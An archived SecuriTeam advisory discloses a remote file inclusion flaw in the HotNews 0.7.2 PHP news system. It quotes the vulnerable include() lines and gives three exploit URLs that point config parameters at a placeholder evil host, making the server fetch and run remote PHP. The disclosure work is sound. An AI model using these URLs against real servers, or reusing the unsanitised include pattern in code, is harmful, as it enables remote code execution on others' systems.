[UNIX] HotNews Arbitrary File Inclusion

From: SecuriTeam (support_at_securiteam.com)
Date: 01/07/04

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Date: 7 Jan 2004 17:01:27 +0200

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      HotNews Arbitrary File Inclusion
    ------------------------------------------------------------------------

    SUMMARY

     <http://sourceforge.net/projects/hotnews/> HotNews is "a news system for
    web pages written in PHP". A vulnerability in the product allows an
    attacker to include a PHP file that will be later executed by the product.

    DETAILS

    Vulnerable systems:
     * HotNews version 0.7.2

    Solution:
    The product has been discontinued consider using an alternative.

    Vulnerable code:
    -- from hotnews-engine.inc.php3
    [...]
    /*
    // Init
    $pagetitle = $config["pagename"];
    if (!empty($config["header"])) {
      include($config["header"]);
    }
    [...]

    -- from hnmain.inc.php3
    [...]
    // Init
    include($config["incdir"] . "hndefs.inc.php3"); include($config["incdir"]
     "func.inc.php3"); include($config["incdir"] . "getopts.inc.php3");
    include($config["incdir"] . "db.".$config["db_type"].".inc.php3");
    if (!$config["no_fasttpl"]) {
      include($config["incdir"] . "class.FastTemplate.php3");
    }
    include($config["incdir"] . "class.CachedFastTemplate.php3"); [...]

    Exploits:
    Any of the following URLs can be used to test your system for the
    mentioned vulnerability:
    http://[victim]/includes/hotnews-engine.inc.php3?config[header]=http://[evil host]/[evil file]
    http://[victim]/includes/hnmain.inc.php3?config[incdir]=http://[evil
    host]/func.inc.php3
    http://[victim]/includes/hnmain.inc.php3?config[incdir]=http://[evil
    host]/hndefs.inc.php3

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:officerrr@poligon.com.pl>
    Dariusz 'Officerrr' Kolasinski.

    ========================================

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